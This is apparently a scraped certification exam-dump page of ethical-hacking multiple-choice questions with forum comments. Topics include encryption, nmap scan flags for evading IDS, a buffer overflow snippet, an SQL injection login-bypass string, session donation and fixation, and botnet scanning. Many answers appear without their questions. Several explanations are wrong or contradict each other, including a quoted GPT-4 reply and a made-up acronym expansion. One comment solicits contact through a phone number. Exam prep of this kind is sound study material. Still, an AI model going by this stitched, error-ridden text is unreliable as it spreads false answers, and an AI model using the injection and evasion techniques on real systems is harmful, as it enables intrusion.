Selected Answer: B

Triple Data Encryption Standard (Triple DES or 3DES).

upvoted 1 times

🗳️ **Sai_9696** 7 months, 1 week ago

The encryption algorithm described is Triple Data Encryption Standard (3DES), also known as Triple DES. It operates on 64-bit data blocks, using the classic DES algorithm three times for enhanced security. 3DES employs three 56-bit keys, which provides an effective key length of 168 bits, though it processes data in 64-bit chunks. This approach was developed to address the vulnerabilities of the original DES algorithm by repeating the encryption process multiple times. While 3DES offers stronger security than DES, it is slower compared to modern encryption algorithms like AES, which are now more commonly used. For further details ping me in wa 9502503657

upvoted 3 times

  **eli117** 2 years, 2 months ago

Selected Answer: B

The encryption algorithm described is the Data Encryption Standard (DES). DES uses a block cipher to encrypt data in 64-bit blocks, and it uses three keys in a process called Triple DES (3DES) encryption. Each key is 56 bits long, but only 48 of those bits are used in each round of the encryption process. DES was widely used in the past, but it has since been replaced by more modern and secure encryption algorithms like the Advanced Encryption Standard (AES).

John is investigating web-application firewall logs and observes that someone is attempting to inject the following:

```
char buff[10];  
buff[10] = 'a';
```

What type of attack is this?

- A. SQL injection
- B. Buffer overflow
- C. CSRF
- D. XSS

Suggested Answer: B

Community vote distribution

B (100%)

  **eli117** Highly Voted 2 years, 2 months ago

Selected Answer: B

the attacker is attempting to write data beyond the bounds of the buffer by assigning a value to the element at index 10 of the buff array, which only has 10 elements (0-9). This can lead to overwriting adjacent memory locations, potentially allowing the attacker to execute arbitrary code or manipulate the program's behavior in unintended ways.

You are attempting to run an Nmap port scan on a web server. Which of the following commands would result in a scan of common ports with the least amount of noise in order to evade IDS?

- A. `nmap -A -Pn`
- B. `nmap -sP -p-65535 -T5`
- C. `nmap -sT -O -T0`
- D. `nmap -A --host-timeout 99 -T1`

Suggested Answer: C

Community vote distribution

C (88%)

12%

🗳️ Mann098 6 months ago

Selected Answer: C

-T0 paranoid timing minimizes noise, making it the best choice for evading IDS
upvoted 2 times

🗳️ eli117 9 months, 1 week ago

Selected Answer: B

unfortunately they are all noisy so you have to choose the BEST option.

B. `nmap -sP -p-65535 -T5`

This command uses the following options:

-sP: This option specifies a Ping scan to discover hosts that are up and running, without actually scanning any ports.

-p-65535: This option specifies that all ports from 1 to 65535 should be scanned.

-T5: This option sets the timing template to aggressive, which means that the scan will run faster

upvoted 3 times

🗳️ Oushi 2 years, 2 months ago

If the question specifically says that you're attempting to run a port scan and asks which scan would result in a scan of common ports, why would we use -sP which you say doesn't do any port scanning? Why would we run any kind of scan at -T5 if we're specifically asked to create as little noise as possible when we know that the speed of -T5 means all of that network traffic will get created at once?

upvoted 3 times

🗳️ Stoa 1 year, 10 months ago

The question mentions that it is a web server, so it is specifying the target and that is the reason why it is not necessary to search the network for new targets, and I agree that the question also mentions that it is a port scan, now if that is not enough the T5 will sound all the alarms.

upvoted 2 times

🗳️ sausageman 9 months, 1 week ago

Selected Answer: C

Correct option is C.

-T0 option is called "paranoid" because it's slow to try and avoid detection.

"While -T0 and -T1 may be useful for avoiding IDS alerts, they will take an extraordinarily long time to scan thousands of machines or ports. For such a long scan, you may prefer to set the exact timing values you need rather than rely on the canned -T0 and -T1 values."

You can find this in the official documentation:

This wireless security protocol allows 192-bit minimum-strength security protocols and cryptographic tools to protect sensitive data, such as GCMP-256, HMAC-SHA384, and ECDSA using a 384-bit elliptic curve.
Which is this wireless security protocol?

- A. WPA3-Personal
- B. WPA3-Enterprise
- C. WPA2-Enterprise
- D. WPA2-Personal

Suggested Answer: B

Community vote distribution

B (100%)

  **eli117** Highly Voted 1 year, 8 months ago

Selected Answer: B

B. WPA3-Enterprise

WPA3 (Wi-Fi Protected Access 3) is the latest wireless security protocol that provides improved security and privacy over the older WPA2 protocol. WPA3-Enterprise is designed for use in enterprise environments, where security is a critical concern. WPA3-Enterprise provides strong encryption and authentication mechanisms to protect against various types of attacks, including password-based attacks and man-in-the-middle attacks.

WPA3-Enterprise supports the use of 192-bit minimum-strength security protocols, such as GCMP-256, to protect sensitive data. It also uses cryptographic tools like HMAC-SHA384 and ECDSA using a 384-bit elliptic curve to provide strong security.

WPA3-Personal, on the other hand, is designed for use in home networks and provides improved security over the older WPA2-Personal protocol, but it does not support the same level of security protocols as WPA3-Enterprise.

Although I think httpd.conf is also a possible answer, I would say php.ini
which can disclose more error messages (database etc..)
upvoted 1 times

🗨️ 👤 **eli117** 1 year, 8 months ago

Selected Answer: A

A. httpd.conf

While files such as php.ini (which can also contain sensitive configuration information for PHP-based web applications) can also be misconfigured and provide useful information to attackers, httpd.conf is generally considered to be the most commonly targeted file for this purpose, due to the widespread use of the Apache web server.

upvoted 2 times

Gerard, a disgruntled ex-employee of Sunglass IT Solutions, targets this organization to perform sophisticated attacks and bring down its reputation in the market. To launch the attacks process, he performed DNS footprinting to gather information about DNS servers and to identify the hosts connected in the target network. He used an automated tool that can retrieve information about DNS zone data including DNS domain names, computer names, IP addresses, DNS records, and network Whois records. He further exploited this information to launch other sophisticated attacks.

What is the tool employed by Gerard in the above scenario?

- A. Towelroot
- B. Knative
- C. zANTI
- D. Bluto

Suggested Answer: D

Community vote distribution

D (100%)

  **Vincent_Lu** Highly Voted 1 year ago

D. Bluto

A. Towelroot is an Android phone root tool released by information security expert GeoHot. Users can use Towelroot to root their phones quickly and easily.

B. Knative is an open source platform based on Kubernetes, mainly used for the development and execution of container applications, which can be executed in cloud and local environments.

C. zANTI is a popular Android mobile security testing tool, mainly used to test the security and weaknesses of mobile applications, including vulnerability scanning, password cracking, MITM attacks, etc.

D. Bluto is a DNS penetration testing tool based on Python, which can be used to test the security and vulnerability of DNS servers in the network. Bluto can access DNS servers in the network and extract information from them, crack passwords, modify DNS information, etc.

🗳️ **dvst8s64** 1 year, 7 months ago

Selected Answer: D

netcat is the tool that does NOT allow password cracking.

upvoted 2 times

🗳️ **verboser** 1 year, 8 months ago

Selected Answer: A

Hashcat is a powerful password cracking tool that can be used to crack a wide range of hashed passwords, including those protected with strong encryption methods. However, Hashcat may not be the best choice when dealing with a list of hashed passwords that are salted and hashed using a slow and resource-intensive algorithm, such as bcrypt or scrypt. These algorithms are intentionally designed to be computationally expensive, making

them resistant to brute force attacks and slowing down password cracking tools like Hashcat. In such cases, specialized tools and techniques are required to efficiently crack the hashed passwords.

netcat is the correct answer

upvoted 2 times

🗲️ 👤 **Osaar_** 1 year, 9 months ago

Instead of being a tool for password cracking, Netcat (commonly abbreviated as nc) is a networking tool that may be used for a variety of network-related tasks, including port scanning, banner capturing, establishing reverse shells, and more. Password cracking is not its intended use.

However, during penetration testing or security assessments, well-known programs such as Hashcat, John the Ripper, and THC-Hydra are used to decrypt hashed passwords. They are created specifically to conduct dictionary-based and password-cracking attacks against hashed passwords.

You are a penetration tester working to test the user awareness of the employees of the client XYZ. You harvested two employees' emails from some public sources and are creating a client-side backdoor to send it to the employees via email. Which stage of the cyber kill chain are you at?

- A. Reconnaissance
- B. Weaponization
- C. Command and control
- D. Exploitation

Suggested Answer: D

Community vote distribution

B (100%)

  **eli117**  2 years, 2 months ago

Selected Answer: B

B. Weaponization

The cyber kill chain is a framework that describes the different stages of a cyber attack. The stages of the kill chain are as follows:

Reconnaissance
Weaponization
Delivery
Exploitation
Installation
Command and Control
Actions on Objectives

In this scenario, the penetration tester has already completed the first stage of reconnaissance by harvesting the employees' email addresses from public sources. They are now in the second stage of weaponization, where they are creating a client-side backdoor and attaching it to an email in order to deliver it to the employees.

The next stages of the kill chain would be delivery, where the email is sent to the employees, followed by exploitation, installation, and command and control, where the attacker gains access to the target system and establishes a channel for ongoing communication.

upvoted 23 times

  **Mann098**  6 months ago

Selected Answer: B

weaponization as we have just created backdoors

upvoted 1 times

  **nickfun** 9 months, 1 week ago

Selected Answer: B

B. Weaponization

this stage involves the creation or acquisition of a malicious payload, like a client-side backdoor, and preparing it for delivery to the target. In this scenario, you are creating a client-side backdoor to send to the employees via email, which is the weaponization stage.

upvoted 3 times

  **kimsteve** 9 months, 1 week ago

Selected Answer: B

Based on the vulnerabilities identified during analysis, the adversary selects or creates a tailored deliverable malicious payload (remote-access malware weapon) using an exploit and a backdoor to send it to the victim. An adversary may target specific network devices, operating systems, endpoint devices, or even individuals within the organization to carry out their attack.

To determine whether a firewall is stateful or stateless using Nmap, This is an ACK scan, which can help identify the state of the firewall by analyzing how it responds to ACK packets

upvoted 1 times

  **cybershortie** 11 months, 2 weeks ago

A

-sA (ACK scan): This type of scan can help determine if a firewall is stateful or stateless. It sends ACK packets to a target and analyzes the response. Stateless firewalls will typically drop the packets, while stateful firewalls will either drop them silently or return RST packets.

upvoted 2 times

  **insaniunt** 1 year, 7 months ago

Selected Answer: A

A. -sA

upvoted 2 times

🗨️ 👤 **Benny_On** 1 year, 8 months ago

When a TCP ACK scan sends an ACK packet to a port that is not expecting it, a stateful firewall will recognize that the packet does not belong to any existing connection, and will drop it or send an ICMP error message. A stateless firewall will not be able to tell if the packet is part of a connection or not, and will only check if the port is open or closed. If the port is open or closed, the target host will send a RST packet in response to the ACK packet. This will cause Nmap to report the port as unfiltered.

correct option is A: -sA

upvoted 1 times

🗨️ 👤 **Harrysphills** 2 years ago

C. -sT

The "-sT" option in Nmap performs a TCP connect scan, which involves establishing a full TCP connection with the target host. This type of scan can help determine if the firewall is stateful because it requires the firewall to maintain and track the state of the TCP connections. If the scan is successful and shows open ports, it indicates that the firewall is likely stateful since it allows the establishment of full TCP connections

upvoted 1 times

🗨️ 👤 **teenwolf18** 2 years, 1 month ago

TCP ACK Scan (-sA)

upvoted 2 times

🗨️ 👤 **eli117** 2 years, 2 months ago

Selected Answer: C

C. -sT

The -sT option in Nmap is used to perform a TCP connect scan. This scan involves attempting to establish a full TCP connection with the target host on the specified port(s). If the connection is successful, it indicates that the target port is open and that the firewall is stateful (i.e., it is allowing traffic that is part of an established connection).

If the connection is unsuccessful, it indicates that the target port is either closed or filtered by a stateless firewall (i.e., a firewall that does not keep track of the state of network connections). Note that some stateless firewalls may block TCP connect scans altogether, so this method may not always be effective in identifying whether a firewall is stateful or stateless.

host-based assessment, as the vulnerabilities analyzed (directories, registries, configuration errors) pertain to a specific host system
upvoted 1 times

🗳️ 👤 **kimsteve** 7 months ago

Selected Answer: B

Host-based assessments are a type of security check that involve conducting a configuration-level check to identify system configurations, user directories, file systems, registry settings, and other parameters to evaluate the possibility of compromise. These assessments check the security of a particular network or server. Host-based scanners assess systems to identify vulnerabilities such as native configuration tables, incorrect registry or file permissions, and software configuration errors. Host-based assessments use many commercial and open-source scanning tools.

Selected Answer: D

Book V12 : module 5 page 558

There are four types of vulnerability assessment solutions: product-based solutions, service-based solutions, tree-based assessment, and inference-based assessment.

In an inference-based assessment, scanning starts by building an inventory of the protocols found on the machine. After finding a protocol, the scanning process starts to detect which ports are attached to services, such as an email server, web server, or database server. After finding services, it selects vulnerabilities on each machine and starts to execute only those relevant tests.

Initial Intrusion

upvoted 1 times

🗳️ 👤 **eli117** 9 months, 1 week ago

Selected Answer: A

A. Initial intrusion

In this scenario, Harry, a professional hacker, is targeting the IT infrastructure of an organization. He is using techniques such as sending spear-phishing emails and exploiting vulnerabilities on publicly available servers to gain initial access to the target network. By successfully deploying malware on the target system, he establishes an outbound connection, allowing him to maintain access to the network.

The APT lifecycle consists of several phases, including initial intrusion, persistence, command and control, lateral movement, and data exfiltration. In the initial intrusion phase, the attacker gains access to the target network using various techniques, such as exploiting vulnerabilities or social engineering.

Therefore, the correct answer is A. Initial intrusion.

Initial Intrusion

upvoted 1 times

🗨️ 👤 **YonGCyber** 1 year, 7 months ago

Refer to CEH v12 Module 7 Malware threats - APT Concepts page 649

Initial Intrusion

The next phase involves attempting to enter the target network. Common techniques used for an initial intrusion are sending spear-phishing emails and exploiting vulnerabilities on publicly available servers. Spear-phishing emails usually appear legitimate but they contain malicious links or attachments containing executable malware. These malicious links can redirect the target to the website where the target's web browser and software are compromised by the attacker using various exploit techniques. Sometimes, an attacker may also use social engineering techniques to gather information from the target. After obtaining information from the target, attackers use such information to launch further attacks on the target network. In this phase, malicious code or malware is deployed into the target system to initiate an outbound connection.

A. Whitelist validation

In whitelist validation, only the inputs that have been explicitly allowed are accepted, and all other inputs are rejected. This technique involves specifying a list of entities such as the data type, range, size, and value, which have been approved for secure access. Any input that is not on the list is rejected, preventing attacks such as SQL injection, where an attacker attempts to inject malicious code into an application by exploiting vulnerabilities in user input fields.

Joe works as an IT administrator in an organization and has recently set up a cloud computing service for the organization. To implement this service, he reached out to a telecom company for providing Internet connectivity and transport services between the organization and the cloud service provider.

In the NIST cloud deployment reference architecture, under which category does the telecom company fall in the above scenario?

- A. Cloud consumer
- B. Cloud broker
- C. Cloud auditor
- D. Cloud carrier

Suggested Answer: D

Community vote distribution

eli117 Highly Voted 1 year, 8 months ago

Selected Answer: D

D. Cloud carrier.

The NIST cloud deployment reference architecture consists of five categories: cloud consumer, cloud provider, cloud carrier, cloud auditor, and cloud broker. The cloud carrier category includes the entities that provide network connectivity and transport services, enabling customers to connect to cloud providers' services. In the given scenario, the telecom company provides Internet connectivity and transport services between the organization and the cloud service provider, making it a cloud carrier.

  **jeremy13** Highly Voted 1 year, 8 months ago

Selected Answer: A

A. aLTER Attack

BOOK V12 Module 16 P2425

The aLTER attack is usually performed on LTE devices that encrypt user data in the AES counter (AES-CTR) mode, which provides no integrity protection. To perform this attack, the attacker installs a virtual (fake) communication tower between two authentic endpoints to mislead the victim. The attacker uses this virtual tower to interrupt the data transmission between the user and real tower, attempting to hijack an active session. Upon receiving the user's request, the attacker manipulates the traffic with the virtual tower and redirects the victim to malicious websites.

  **eli117** Highly Voted 1 year, 8 months ago

Selected Answer: A

A. aLTER attack.

Bobby installed a fake communication tower between two authentic endpoints to intercept and hijack all the wireless communications of a user. This is an example of an aLTER (Advanced LTE Recovery) attack, also known as an IMSI (International Mobile Subscriber Identity) catcher or a fake cell tower attack. In this attack, the attacker sets up a rogue base station that mimics a legitimate cell tower to trick mobile devices into connecting to it. Once connected, the attacker can intercept, monitor, and manipulate the traffic between the device and the legitimate cell tower.

Gilbert, a web developer, uses a centralized web API to reduce complexity and increase the integrity of updating and changing data. For this purpose, he uses a web service that uses HTTP methods such as PUT, POST, GET, and DELETE and can improve the overall performance, visibility, scalability, reliability, and portability of an application.

What is the type of web-service API mentioned in the above scenario?

- A. RESTful API
- B. JSON-RPC
- C. SOAP API
- D. REST API

Suggested Answer: A

Community vote distribution

A (100%)

🗳️ 👤 **Nst6310** Highly Voted 1 year, 11 months ago

A RESTful API (Representational State Transfer) is a type of web-service API that uses HTTP methods such as PUT, POST, GET, and DELETE to perform operations on resources. It is designed to be simple, stateless, and scalable, making it suitable for modern web applications. RESTful APIs use standard HTTP status codes and are commonly used for building web services that can be easily integrated with other systems.

upvoted 9 times

🗳️ 👤 **Mann098** Most Recent 6 months ago

Selected Answer: A

RESTful API

upvoted 1 times

🗳️ 👤 **broman** 9 months, 1 week ago

FYI: There's no functional difference between the two terms. Saying an API is "RESTful" just means that it adheres to the REST principles properly. In practice, both terms are used interchangeably to refer to the same type of API. If someone says "REST API" or "RESTful API," they are generally referring to the same concept: an API designed according to REST architectural principles.

A. RESTful API

Explanation: The description of a web service that uses HTTP methods such as PUT, POST, GET, and DELETE, and is designed to reduce complexity

and increase the integrity of updating and changing data, matches the characteristics of a RESTful API. REST (Representational State Transfer) is a popular architectural style used in creating web services that operate over HTTP.

upvoted 3 times

To create a botnet, the attacker can use several techniques to scan vulnerable machines. The attacker first collects information about a large number of vulnerable machines to create a list. Subsequently, they infect the machines. The list is divided by assigning half of the list to the newly compromised machines. The scanning process runs simultaneously. This technique ensures the spreading and installation of malicious code in little time.

Which technique is discussed here?

- A. Subnet scanning technique
- B. Permutation scanning technique
- C. Hit-list scanning technique.
- D. Topological scanning technique

Suggested Answer: D

Community vote distribution

C (100%)

🗳️ **jeremy13** Highly Voted 1 year, 8 months ago

C - Hit-List scanning technique

312-50v11- questions 147

Module 10 P1429 V12

*Hit-list Scanning

Through scanning, an attacker first collects a list of potentially vulnerable machines and then creates a zombie army. Subsequently, the attacker scans the list to find a vulnerable machine. On finding one, the attacker installs malicious code on it and divides the list in half. The attacker continues to scan one half, whereas the other half is scanned by the newly compromised machine. This process keeps repeating, causing the number of compromised machines to increase exponentially. This technique ensures the installation of malicious code on all the potentially vulnerable machines in the hit list within a short time.

*Topological Scanning

This technique uses the information obtained from an infected machine to find new vulnerable machines. An infected host checks for URLs in the hard drive of a machine that it wants to infect. Subsequently, it shortlists URLs and targets, and it checks their vulnerability. This technique yields accurate results, and its performance is similar to that of the hit-list scanning technique.

C. Hit-list scanning technique.
upvoted 1 times

🗨️ 👤 **sTaTiK** 1 year, 8 months ago

Selected Answer: C

Anser is Hitlist:
The technique discussed here is the Hit-list scanning technique.

In the Hit-list scanning technique, the attacker creates a list of potential targets that are vulnerable to a specific exploit or attack. The attacker then uses this list to scan and infect the vulnerable machines. Once a machine is compromised, it can be used to scan for and infect other vulnerable machines on the list. The list is then divided among the compromised machines, and the scanning process continues until all the machines on the list are infected.

This technique is often used to create botnets, which are networks of infected machines that can be controlled by the attacker. Botnets can be used for various purposes, such as launching DDoS attacks, stealing sensitive information, or distributing spam or malware. The Hit-list scanning technique allows the attacker to quickly infect a large number of machines and create a powerful botnet.

upvoted 4 times

Nicolas just found a vulnerability on a public-facing system that is considered a zero-day vulnerability. He sent an email to the owner of the public system describing the problem and how the owner can protect themselves from that vulnerability. He also sent an email to Microsoft informing them of the problem that their systems are exposed to.

What type of hacker is Nicolas?

- A. Black hat
- B. White hat
- C. Gray hat
- D. Red hat

Suggested Answer: B

Community vote distribution

🗨️ 👤 **SailOn** Highly Voted 1 year, 10 months ago

From CEH v12 book, the defining feature of a white hat is PERMISSION. That's Chapter 1, and the whole point of the entire CEH course, PERMISSION. If you do not have it, you are not a white hat.

So answer is C. GRAY HAT

upvoted 25 times

🗨️ 👤 **qtygbapjpesdayazko** 1 year, 3 months ago

This is true!

upvoted 1 times

🗨️ 👤 **qtygbapjpesdayazko** 1 year, 3 months ago

White Hats, Keyword "They have permission from the system owner."

White Hats: White hats or penetration testers are individuals who use their hacking skills for defensive purposes. These days, almost every organization has security analysts who are knowledgeable about hacking countermeasures, which can secure its network and information systems against malicious attacks. They have permission from the system owner.

Gray Hats: Gray hats are the individuals who work both offensively and defensively at various times. Gray hats might help hackers to find various vulnerabilities in a system or network and, at the same time, help vendors to improve products (software or hardware) by checking limitations and making them more secure.

upvoted 1 times

🗨️ 👤 **Oea2cf3** Highly Voted 1 year, 4 months ago

White hat hacker because even though Nicolas did not have permission, it was a public-facing website that implied that Nicholas did not have to do anything nefarious to access the site.

upvoted 5 times

🗨️ 👤 **HackerTom** Most Recent 2 months, 3 weeks ago

Selected Answer: C

I can see why people are saying B but the question is poor because you don't necessarily have to break into anything to find an 0-day, it could just be something obvious on a page thats publicly hosted and you can theorize what the next steps would be. So the possibility for B is definitely there.

upvoted 1 times

🗨️ 👤 **RobertVidal** 3 months, 3 weeks ago

Selected Answer: B

Nicolas is an ****ethical hacker**** or a ****white-hat hacker****.

Since he responsibly disclosed the vulnerability to both the system owner and Microsoft instead of exploiting it for malicious purposes, he is demonstrating the behavior of a ****white-hat hacker****—someone who helps organizations improve their security by identifying and reporting vulnerabilities ethically.

If Nicolas had disclosed the vulnerability publicly before giving the affected parties a chance to fix it, he might be considered a ****gray-hat hacker****. However, since he followed responsible disclosure practices, he fits the white-hat category.

A. Evilginx

Explanation: Evilginx is a powerful phishing tool that enables an attacker to intercept login credentials and session cookies of any web service that is using a vulnerable two-factor authentication protocol. With this tool, attackers can create fake web pages that look exactly like the real ones, luring users into providing their login credentials and allowing the attacker to intercept them.

John, a disgruntled ex-employee of an organization, contacted a professional hacker to exploit the organization. In the attack process, the professional hacker installed a scanner on a machine belonging to one of the victims and scanned several machines on the same network to identify vulnerabilities to perform further exploitation.

What is the type of vulnerability assessment tool employed by John in the above scenario?

- A. Agent-based scanner
- B. Network-based scanner
- C. Cluster scanner
- D. Proxy scanner

Suggested Answer: A

Community vote distribution

Selected Answer: A

A. Agent-based scanner

Module 05/P561 CEH bookV12

*Network-Based Scanner: Network-based scanners are those that interact only with the real machine where they reside and give the report to the same machine after scanning.

*Agent-Based Scanner: Agent-based scanners reside on a single machine but can scan several machines on the same network.

*Proxy Scanner: Proxy scanners are the network-based scanners that can scan networks from any machine on the network.

* Cluster scanner: Cluster scanners are similar to proxy scanners, but they can simultaneously perform two or more scans on different machines in the network.

Selected Answer: B

B. Network-based scanner

Explanation: In the given scenario, John employs a network-based scanner to identify vulnerabilities on the machines in the same network. A network-based scanner is a type of vulnerability assessment tool that scans the network for vulnerabilities and identifies security holes in the network devices and systems. It is a non-intrusive scanner that can detect vulnerabilities without accessing the system. It sends packets to the network and analyzes the response to identify vulnerabilities.

Listed below are some of the location and data examination tools:

- o Network-Based Scanner: Network-based scanners are those that interact only with the real machine where they reside and give the report to the same machine after scanning.
- o Agent-Based Scanner: Agent-based scanners reside on a single machine but can scan several machines on the same network.
- o Proxy Scanner: Proxy scanners are the network-based scanners that can scan networks from any machine on the network.
- o Cluster scanner: Cluster scanners are similar to proxy scanners, but they can simultaneously perform two or more scans on different machines in the network

upvoted 1 times

  **zarrzz** 1 year ago

Selected Answer: B

The most appropriate choice is: B. Network-based scanner.

Explanation:

Agent-based scanner: This typically involves installing software agents on each target machine to perform vulnerability assessments. It doesn't fit the scenario where a scanner is installed on one machine and used to scan others.

Network-based scanner: This is a scanner that examines network traffic or directly probes other machines on the network to identify vulnerabilities. It matches the scenario where a scanner was installed on a machine and used to scan other machines on the same network.

Cluster scanner: This is less commonly referred to in the context of vulnerability assessment tools and usually pertains to managing and scanning clusters of machines, but not in the specific way described.

Proxy scanner: This typically involves using a proxy to scan web traffic, and is not relevant to the scenario described.

upvoted 3 times

  **Lost_Memo** 1 year, 1 month ago

Selected Answer: B

I Believe the answer is B as I understand how you are using the key word install, to run an agent-based scan all the machines involved need have the agent installed on them to do the scan, while network scan requires connectivity, and this scenario I do not think the attacker has access to any other device to install the agents.

upvoted 1 times

  **desertlotus1211** 1 year, 2 months ago

Though the scanner software was installed on a victims machine... Actually a network based scanner is being performed to identify vulnerabilities on the network and on the other machines.

Agent based scanner would be installed a on machine BUT will send information about THAT machine to a central repo. This is not happening in this scenario.

upvoted 1 times

  **desertlotus1211** 1 year, 2 months ago

Agent-based scanning is a type of vulnerability scanning that involves installing a software agent on each system that needs to be scanned. The agent then monitors and reports on the system's status, enabling real-time data collection and analysis.

upvoted 2 times

🗨️ 👤 **jettguo** 1 year, 3 months ago

Selected Answer: B

My answer is network-base scanner.

Reason 1: although an "agent" is installed on a victim machine, there is no mention of using this scanner to scan for vulnerability on this victim machine.

Reason 2:

The "agent" was used to scan on machines within the network, this fits the signature of a "network-based scanner"

upvoted 1 times

🗨️ 👤 **sh4dali** 1 year, 3 months ago

Selected Answer: A

A. Watering hole attack

P1952 / Module 14 CEH book V12

+Watering Hole Attack

It is a type of unvalidated redirect attack whereby the attacker first identifies the most visited website of the target, determines the vulnerabilities in the website, injects

malicious code into the vulnerable web application, and then waits for the victim to browse the website. Once the victim tries to access the website, the malicious code executes, infecting the victim.

upvoted 3 times

  **eli117** 1 year, 8 months ago

Selected Answer: A

A. Watering hole attack

Explanation:

In the given scenario, Joel is using a technique called the watering hole attack. This technique involves the attacker targeting a specific group of individuals or organization by infecting a website that the targeted group regularly visits, also known as the "watering hole". The attacker then injects a malicious code into the website, which can be used to download malware onto the victim's machine. When the victim visits the infected website, the malware is automatically downloaded onto their system. This attack is often used when traditional phishing techniques fail to work or are too risky to execute.

upvoted 2 times

Security administrator John Smith has noticed abnormal amounts of traffic coming from local computers at night. Upon reviewing, he finds that user data have been exfiltrated by an attacker. AV tools are unable to find any malicious software, and the IDS/IPS has not reported on any non-whitelisted programs.

What type of malware did the attacker use to bypass the company's application whitelisting?

- A. File-less malware
- B. Zero-day malware
- C. Phishing malware
- D. Logic bomb malware

Suggested Answer: A

Community vote distribution

A (82%)

B (18%)

  **eli117**  1 year, 8 months ago

Selected Answer: A

A. File-less malware

Explanation: In this scenario, the attacker used file-less malware to bypass the company's application whitelisting. File-less malware resides entirely in memory, making it difficult for antivirus software and IDS/IPS to detect. It can run in the context of a trusted process or system application, and can be delivered through various attack vectors, including phishing emails, malicious websites, or network exploits.

D. DNS hijacking.

Explanation: In the given scenario, Joe is experiencing a type of attack known as DNS hijacking. In DNS hijacking, an attacker diverts traffic intended for a legitimate website to a different IP address, which may lead to a fake website designed to look like the original one. The purpose of such an attack is to steal sensitive information, such as login credentials, from unsuspecting users. In this case, the attacker has redirected Joe to a phishing website that mimics the original website, prompting him to enter his credentials.

upvoted 3 times

Boney, a professional hacker, targets an organization for financial benefits. He performs an attack by sending his session ID using an MITM attack technique. Boney first obtains a valid session ID by logging into a service and later feeds the same session ID to the target employee. The session ID links the target employee to Boney's account page without disclosing any information to the victim. When the target employee clicks on the link, all the sensitive payment details entered in a form are linked to Boney's account.

What is the attack performed by Boney in the above scenario?

- A. Forbidden attack
- B. CRIME attack
- C. Session donation attack
- D. Session fixation attack

Suggested Answer: D

Community vote distribution

C (85%)

D (15%)

 **jeremy13**  2 years, 2 months ago

Selected Answer: C

C. Session donation attack

see 312-50v11 topic 1 question 188

Module 11 P1552 CEH BOOK V12

In a session donation attack, the attacker donates their own session ID to the target user. In this attack, the attacker first obtains a valid session ID by logging into a service and later feeds the same session ID to the target user. This session ID links a target user to the attacker's account page without disclosing any information to the victim. When the target user clicks on the link and enters the details (username, password, payment details, etc.) in a form, the entered details are linked to the attacker's account. To initiate this attack, the attacker can send their session ID using techniques such as cross-site cooking, an MITM attack, and session fixation.

upvoted 22 times

 **Nst6310**  1 year, 11 months ago

D. Session fixation attack

In a session fixation attack, the attacker (Boney) tricks a user (the target employee) into using a session ID that the attacker already knows and has control over. The attacker may obtain a valid session ID by logging into the service himself and then trick the target employee into using that same session ID.

upvoted 6 times

 **Mann098**  6 months ago

Ans: C

upvoted 2 times

 **insaniunt** 1 year, 6 months ago

Selected Answer: C

From CEH BOOK v 12 - Module 11 Page 1552:

A session donation attack involves the following steps:

1 The attacker logs into a service, establishes a legitimate connection with the target web server, and deletes the stored information.

2 The target web server (e.g., <http://citibank.com/>) issues a session ID, say 0D6441FEA4496C2, to the attacker.

3 The attacker then donates their session ID, say <http://citibank.com/?SID=0D6441FEA4496C2>, to the victim and lures the victim to click on it to access the website.

4 The victim clicks on the link, believing it to be a legitimate link sent by the bank. This opens the server's page in the victim's browser with SID=0D6441FEA4496C2. Finally, the victim enters their information in the page and saves it.

▪ The attacker can now login as themselves and acquire the victim's information

Kevin, a professional hacker, wants to penetrate CyberTech Inc's network. He employed a technique, using which he encoded packets with Unicode characters. The company's IDS cannot recognize the packets, but the target web server can decode them. What is the technique used by Kevin to evade the IDS system?

- A. Session splicing
- B. Urgency flag
- C. Obfuscating
- D. Desynchronization

Suggested Answer: C

Community vote distribution

C (100%)

eli117 **Highly Voted** 1 year, 8 months ago

Selected Answer: C

C. Obfuscating.

Explanation:

Obfuscation is a technique used by hackers to hide their malicious activities from security systems, such as Intrusion Detection Systems (IDS). In this case, Kevin encoded the packets with Unicode characters to make them difficult for the IDS to recognize and understand. This technique is used to bypass security measures and gain access to a system undetected. However, the target web server can decode the packets, which allows Kevin to gain access to the system. Session splicing, urgency flag, and desynchronization are other techniques used by hackers to evade IDS systems, but they are not applicable in this scenario.

Suppose that you test an application for the SQL injection vulnerability. You know that the backend database is based on Microsoft SQL Server. In the login/password form, you enter the following credentials:

Username: attack' or 1=1 --
Password: 123456

Based on the above credentials, which of the following SQL commands are you expecting to be executed by the server, if there is indeed an SQL injection vulnerability?

- A. select * from Users where UserName = 'attack' ' or 1=1 -- and UserPassword = '123456'
- B. select * from Users where UserName = 'attack' or 1=1 -- and UserPassword = '123456'
- C. select * from Users where UserName = 'attack or 1=1 -- and UserPassword = '123456'
- D. select * from Users where UserName = 'attack' or 1=1 --' and UserPassword = '123456'

Suggested Answer: A

Community vote distribution

🗳️ 👤 **Stoa** Highly Voted 1 year, 10 months ago

Selected Answer: D

Well I confirm that it is the D, with the following

The query is

select * from Users where UserName = 'varName' and UserPassword = 'varPassword'.

So if we change by the credentials that say would be the following result:

select * from Users where UserName = 'attack' or 1=1 --' and UserPassword = '123456'

An important consideration is that it is not asking for any correction of the command or if the command itself is correct, it is asking to be executed on the server.

GPT 4.0 what you think in that way ? :

Apologies for the confusion. In line with the credentials provided and typical SQL injection techniques, the correct SQL command that would be executed by the server, if there is indeed an SQL injection vulnerability, would indeed be:

A. select * from Users where UserName = 'attack' or '1'='1' -- and UserPassword = '123456'

In this scenario, the injection point is within the UserName parameter, and the rest of the SQL statement is commented out using the double dashes (-). This would cause the where condition to always be true, potentially allowing an attacker to bypass authentication mechanisms.

upvoted 1 times

  **Miracleam** 8 months, 2 weeks ago

The answer

is D. Please refer to CEH V12 Module 15

upvoted 1 times

  **[Removed]** 1 year, 6 months ago

Selected Answer: D

D. select * from Users where UserName = 'attack' or 1=1 --' and UserPassword = '123456'. The point of the question is not whether the select statement will provide anything useful, but to show that you understand how the strings/parameters are passed from the login/password form to the SQL query. This was a question for me when I took the exam on 13 Dec 2023.

C. VRFY

upvoted 1 times

🗳️ 👤 **eli117** 1 year, 2 months ago

Selected Answer: C

C. VRFY

Explanation:

SMTP (Simple Mail Transfer Protocol) is a protocol used to transfer electronic mail messages between servers. The VRFY command is used to verify the existence of an email address or to check whether a specific mailbox exists on the server. When a user submits a VRFY command with an email address, the server will check whether the email address is valid and whether the mailbox exists on the server. If the email address is valid, the server will respond with the name of the mailbox associated with the email address.

